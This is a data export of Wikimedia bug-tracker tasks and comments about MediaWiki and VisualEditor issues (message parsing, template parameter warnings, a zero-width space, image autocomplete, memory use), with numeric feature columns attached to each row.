**Attached**: {F11188}",,,1379766277,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,11.0,9.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.869565217391304,0.8260869565217391,"Created attachment 13340
MediaWiki:Editing example en wikipedia

(In reply to comment #3)

Which language you used for The Tokyo article ? Here is an example from eglish wikipedia

**Attached**: {F11188}"
235488,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Created attachment 13332
Editing The Tokyo article

(In reply to comment #2)
> *[[MediaWiki:Editing]] message (Current text:Editing $1) is visible at the
> top of every wiki page when you  are editing any wiki page.

No, not for me.

**Attached**: {F11187}",,,1379686080,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0526315789473686,0.7894736842105263,"Created attachment 13332
Editing The Tokyo article

(In reply to comment #2)
QUOTE
QUOTE

No, not for me.

**Attached**: {F11187}"
235485,"""MediaWiki:Editing"" notice did not parse  a link when tried so","(In reply to comment #1)
> How to see what's on the screenshot? This is missing steps... 

*[[MediaWiki:Editing]] message (Current text:Editing $1) is visible at the top of every wiki page when you  are editing any wiki page.

* So the given screen shot will be visible on all wiki pages while editing if you save the given edit diff https://mr.wikipedia.org/w/index.php?title=मिडियाविकी%3AEditing&diff=1200554&oldid=44085 on any test wiki


** (My impression is MediaWiki messages work simmiller to Templates. If template:ABC is having internal link [[PQR]] and template:ABC is included in Template:XYZ usually internal link [[PQR]] of template:ABC will parse through Template:XYZ , What I suppose/doubt is,  If MediaWiki:ABC has internal link  [[PQR]] and MediaWiki:ABC is getting included in MediaWiki:XYZ unlike templates MediaWiki messages are not parsing internal link of another MediaWiki message.That is my pure guess you(Developers) are the right people to inform what is supposed to be expected behaviour for MediaWiki messages,and the reported behaviour is matching with expected behaviour or not)


Also, 
>    <small><small><small /><small /> 
> does not look like valid HTML to me.

*https://mr.wikipedia.org/w/index.php?title=%E0%A4%AE%E0%A4%BF%E0%A4%A1%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A5%80:Sitenotice&diff=prev&oldid=1201270 It is the same text parsing through the internal links in different MediaWiki message.

HTML may be having minor issue on layout side but parsing of internal link is different issue I suppose.

Rgds",,,1379606319,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,False,,,11,,1.3333333333333333,0.0,0.0,1.0,0.6666666666666666,6.666666666666667,2.3333333333333335,0.0,0.0,1.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,2.0,8.666666666666666,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,6.666666666666667,2.6666666666666665,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,16.666666666666668,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.6666666666666665,6.0,15.333333333333334,1.6666666666666667,1.6666666666666667,4.666666666666667,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,2.3333333333333335,8.666666666666666,8.666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,1.0,0.0,0.0,3.6666666666666665,0.0,0.0,2.6666666666666665,3.8978882651697404,0.61186848436247,"(In reply to comment #1)
QUOTE

*[[MediaWiki:Editing]] message (Current text:Editing $1) is visible at the top of every wiki page when you  are editing any wiki page.

* So the given screen shot will be visible on all wiki pages while editing if you save the given edit diff URL on any test wiki


** (My impression is MediaWiki messages work simmiller to Templates. If template:ABC is having internal link [[PQR]] and template:ABC is included in Template:XYZ usually internal link [[PQR]] of template:ABC will parse through Template:XYZ , What I suppose/doubt is,  If MediaWiki:ABC has internal link  [[PQR]] and MediaWiki:ABC is getting included in MediaWiki:XYZ unlike templates MediaWiki messages are not parsing internal link of another MediaWiki message.That is my pure guess you(Developers) are the right people to inform what is supposed to be expected behaviour for MediaWiki messages,and the reported behaviour is matching with expected behaviour or not)


Also, 
QUOTE
QUOTE

*URL It is the same text parsing through the internal links in different MediaWiki message.

HTML may be having minor issue on layout side but parsing of internal link is different issue I suppose.

Rgds"
235482,"""MediaWiki:Editing"" notice did not parse  a link when tried so","How to see what's on the screenshot? This is missing steps... Also, 
   <small><small><small /><small /> 
does not look like valid HTML to me.",,,1379340953,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,3.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,9.0,3.75,0.96875,"How to see what's on the screenshot? This is missing steps... Also, 
   <small><small><small /><small /> 
does not look like valid HTML to me."
56094,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist","If adding w:cs:template:commonscat, it might be confusing for newbies even for older wikipadians to set parameters. As in this case parameters or numbers, but VE sais that such parameters are unknown.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50735",Low,25.0,1379064360,1381342230.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-qyjx6fdbrrh3weriir7z,task_description,resolved,True,c1,3,False,False,False,10,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,12.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.753623188405797,0.6521739130434783,"If adding w:cs:template:commonscat, it might be confusing for newbies even for older wikipadians to set parameters. As in this case parameters or numbers, but VE sais that such parameters are unknown.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
258026,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist","Merging with bug 50735.

*** This bug has been marked as a duplicate of bug 50735 ***",,,1381342230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyjx6fdbrrh3weriir7z,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.0434782608695654,0.6521739130434783,"Merging with bug 50735.

*** This bug has been marked as a duplicate of bug 50735 ***"
258022,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist","If I can paraphrase Juan's bug report, ..

In the transclusion dialog, template 'add parameter' screen, for a template without templatedata (such as cs:wp template commonscat),...

Dont say 'Unknown parameter'.

If there is no templatedata, VE doesnt know about any parameters, so it should not offer warnings that are essentially bogus when it is given a parameter name.  The user cant use this 'Unknown parameter' information, so it is scary.  Further to that, VE _does_ know that numeric parameters names (like '1', '2', etc) are valid parameter name, so warning 'Unknown parameter' is false in that case.

Juan, if you want to add templatedata to that template, see https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/TemplateData  and
https://en.wikipedia.org/w/index.php?title=Template:Commons_category/doc&action=edit

The VE UI for templates without templatedata needs a usability overhaul. Some simple suggestions to improve usability while keeping the current UI structure:
1. say 'This template does not have VE compatible parameter data', and link to the relevant template:blah page
2. dont say 'No unused parameters' because that message is also misleading
3. Instead of 'Unknown parameter' for '1', say 'parameter number 1' or 'first parameter'
4. pre-populate the template form with a parameter '1', place the user in the parameter value field, but allow the user to rename the parameter name in the left hand list.

A more difficult suggestion is to rethink the way the numbered parameter UI works.  Putting numbers in a UI, without any explanation, is not intuitive or discoverable.  How does a newbie know to enter '1'?  The template documentation pages usually say to put in {{foo|blah}} ; they dont say {{foo|1=blah}} so the typical user doesnt know about '1'.",,,1380616208,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qyjx6fdbrrh3weriir7z,task_subcomment,,True,c1,3,False,,,13,,0.75,0.0,0.0,0.25,0.75,5.5,1.5,0.25,0.0,0.75,2.0,7.5,0.0,0.0,0.25,0.25,0.25,4.75,8.75,0.0,1.5,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,5.25,1.25,0.75,2.5,0.25,0.0,0.0,0.75,0.25,0.5,0.25,0.0,2.0,0.0,0.5,0.0,0.25,0.25,17.25,0.5,1.0,0.25,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.5,2.25,0.0,0.0,0.0,0.25,0.0,5.75,2.25,8.0,2.25,1.5,8.75,0.0,0.0,0.0,0.0,6.75,0.0,3.5,0.0,1.5,8.75,3.25,0.25,7.5,0.0,1.5,0.0,0.75,1.75,0.0,1.0,0.25,0.0,0.5,3.6581187010078384,0.6612262038073908,"If I can paraphrase Juan's bug report, ..

In the transclusion dialog, template 'add parameter' screen, for a template without templatedata (such as cs:wp template commonscat),...

Dont say 'Unknown parameter'.

If there is no templatedata, VE doesnt know about any parameters, so it should not offer warnings that are essentially bogus when it is given a parameter name.  The user cant use this 'Unknown parameter' information, so it is scary.  Further to that, VE _does_ know that numeric parameters names (like '1', '2', etc) are valid parameter name, so warning 'Unknown parameter' is false in that case.

Juan, if you want to add templatedata to that template, see URL  and
URL

The VE UI for templates without templatedata needs a usability overhaul. Some simple suggestions to improve usability while keeping the current UI structure:
1. say 'This template does not have VE compatible parameter data', and link to the relevant template:blah page
2. dont say 'No unused parameters' because that message is also misleading
3. Instead of 'Unknown parameter' for '1', say 'parameter number 1' or 'first parameter'
4. pre-populate the template form with a parameter '1', place the user in the parameter value field, but allow the user to rename the parameter name in the left hand list.

A more difficult suggestion is to rethink the way the numbered parameter UI works.  Putting numbers in a UI, without any explanation, is not intuitive or discoverable.  How does a newbie know to enter '1'?  The template documentation pages usually say to put in {{foo|blah}} ; they dont say {{foo|1=blah}} so the typical user doesnt know about '1'."
258018,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist",The steps to reproduce are unclear to me. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug,,,1379323419,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qyjx6fdbrrh3weriir7z,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9166666666666666,The steps to reproduce are unclear to me. Also see URL
56051,VisualEditor: Zero width no-break space is added to the end of the article (in a slug) in the editing element (but not the document),"I am trying to run the test at https://gerrit.wikimedia.org/r/#/c/83966/

In the end it is trying to compare the text that was typed with the text that actually appears on the screen. The test fails, because the Zero width no-break space (U+FEFF) character is added to the string that appears on the screen.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1378949100,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-mgmwirwldz45agzrgg3n,task_description,open,True,c1,3,False,False,,10,,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,5.0,10.0,1.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7948717948717947,0.6282051282051282,"I am trying to run the test at URL

In the end it is trying to compare the text that was typed with the text that actually appears on the screen. The test fails, because the Zero width no-break space (U+FEFF) character is added to the string that appears on the screen.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255142,VisualEditor: Zero width no-break space is added to the end of the article (in a slug) in the editing element (but not the document),Presumably this is ve.ce.BranchNode.$blockSlugTemplate.,,,1406595885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mgmwirwldz45agzrgg3n,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.428571428571429,0.8571428571428571,Presumably this is ve.ce.BranchNode.$blockSlugTemplate.
55976,Autocomplete for (local) image names,"It'd be nice if WikiLove had a javascripty autocomplete for image names (at least local ones)

--------------------------
**Version**: master
**Severity**: enhancement",Low,25.0,1378778340,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-ta7jealrbrncqvj3zzez,task_description,open,True,c1,3,False,False,,10,,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,4.054054054054054,0.7567567567567568,"It'd be nice if WikiLove had a javascripty autocomplete for image names (at least local ones)

--------------------------
**Version**: master
**Severity**: enhancement"
250667,Autocomplete for (local) image names,"(In reply to comment #1)
> Any possibility of sharing a UI module with VisualEditor here, rather than
> having two implementations of a media selection browser?

Works for me. Though, ideally would go into core. WikiLove (optionally) depending on VisualEditor could be a potential problem

MassMessage has a simple similar implementation of this, with based on resources/mediawiki/mediawiki.searchSuggest.js in core",,,1378840970,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ta7jealrbrncqvj3zzez,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,16.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,4.491228070175438,0.8070175438596491,"(In reply to comment #1)
QUOTE
QUOTE

Works for me. Though, ideally would go into core. WikiLove (optionally) depending on VisualEditor could be a potential problem

MassMessage has a simple similar implementation of this, with based on resources/mediawiki/mediawiki.searchSuggest.js in core"
250661,Autocomplete for (local) image names,"Any possibility of sharing a UI module with VisualEditor here, rather than having two implementations of a media selection browser?",,,1378839938,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ta7jealrbrncqvj3zzez,task_subcomment,,True,c1,3,False,,,10,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,5.090909090909091,0.9090909090909091,"Any possibility of sharing a UI module with VisualEditor here, rather than having two implementations of a media selection browser?"
55825,Reduce VisualEditor's memory usage,"Editing of large pages can use a significant amount of memory; a spotcheck that Max did on [[United States]] showed an increase of 121MB usage in Chrome while editing the page.

This is a concern for us for mobile in particular, as today's mobile devices have the amount of memory of computers from several years ago -- most have 1GB or 512MB (or even less), which has to house the operating system, background apps, the web browser, and the *entire* article with a richly annotated DOM.

Possible techniques for reducing memory usage were proposed at the VE mobile meeting yesterday:

* Section editing -- if we only have to load up a single section at a time, large pages won't use up nearly as much memory. Note that on mobile we already divide the page up into sections surrounded by <div>s that can be replaced with the editable surface; the other sections on page might not even be open.

* Limit full annotation processing to areas under active editing -- apparently it should be possible to delay some of the HTML processing on sections or even paragraphs that have not yet been edited. This might also save memory, but needs to be looked into.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1378411260,,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-aag3cwflmkojbhxxal5q,task_description,open,True,c1,3,False,False,,9,,1.0,0.0,0.0,1.3333333333333333,1.0,7.666666666666667,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.6666666666666666,5.333333333333333,12.333333333333334,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,15.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,2.6666666666666665,6.666666666666667,1.0,1.6666666666666667,7.333333333333333,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.3333333333333333,12.333333333333334,3.3333333333333335,0.0,0.0,0.0,1.3333333333333333,0.0,1.3333333333333333,2.3333333333333335,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,1.0,3.992248062015504,0.751937984496124,"Editing of large pages can use a significant amount of memory; a spotcheck that Max did on [[United States]] showed an increase of 121MB usage in Chrome while editing the page.

This is a concern for us for mobile in particular, as today's mobile devices have the amount of memory of computers from several years ago -- most have 1GB or 512MB (or even less), which has to house the operating system, background apps, the web browser, and the *entire* article with a richly annotated DOM.

Possible techniques for reducing memory usage were proposed at the VE mobile meeting yesterday:

* Section editing -- if we only have to load up a single section at a time, large pages won't use up nearly as much memory. Note that on mobile we already divide the page up into sections surrounded by <div>s that can be replaced with the editable surface; the other sections on page might not even be open.

* Limit full annotation processing to areas under active editing -- apparently it should be possible to delay some of the HTML processing on sections or even paragraphs that have not yet been edited. This might also save memory, but needs to be looked into.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
411487,Reduce VisualEditor's memory usage,"This is a high-level tracker bug rather than a blocker; it needs child bugs with more specifics to be nominated as blockers. Consequently, we decided to remove it from the Q3 blockers list at the triage on 2015-02-11.",,,1423879177,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,6.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,6.0,17.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.75,0.8333333333333334,"This is a high-level tracker bug rather than a blocker; it needs child bugs with more specifics to be nominated as blockers. Consequently, we decided to remove it from the Q3 blockers list at the triage on 2015-02-11."
410422,Reduce VisualEditor's memory usage,"More specific criteria and numbers are welcome / required here.
Also, should the ""Epic"" tag be added here?",,,1423743458,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.75,0.9166666666666666,"More specific criteria and numbers are welcome / required here.
Also, should the ""Epic"" tag be added here?"
410136,Reduce VisualEditor's memory usage,">>! In T55825#558826, @brion wrote:
> Feel free to move this to 'general' and we'll hang some mobile-specific bugs off it that are more directly actionable.

Have any mobile-specific bugs been identified since 09/2013? Adding task numbers is welcome.",,,1423686484,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,84,,5.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.428571428571429,0.9523809523809523,"QUOTE
QUOTE

Have any mobile-specific bugs been identified since 09/2013? Adding task numbers is welcome."
241721,Reduce VisualEditor's memory usage,"(In reply to comment #2)
> Feel free to move this to 'general' and we'll hang some mobile-specific bugs
> off it that are more directly actionable.

{{Done}}",,,1378416264,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.7777777777777778,"(In reply to comment #2)
QUOTE
QUOTE

{{Done}}"
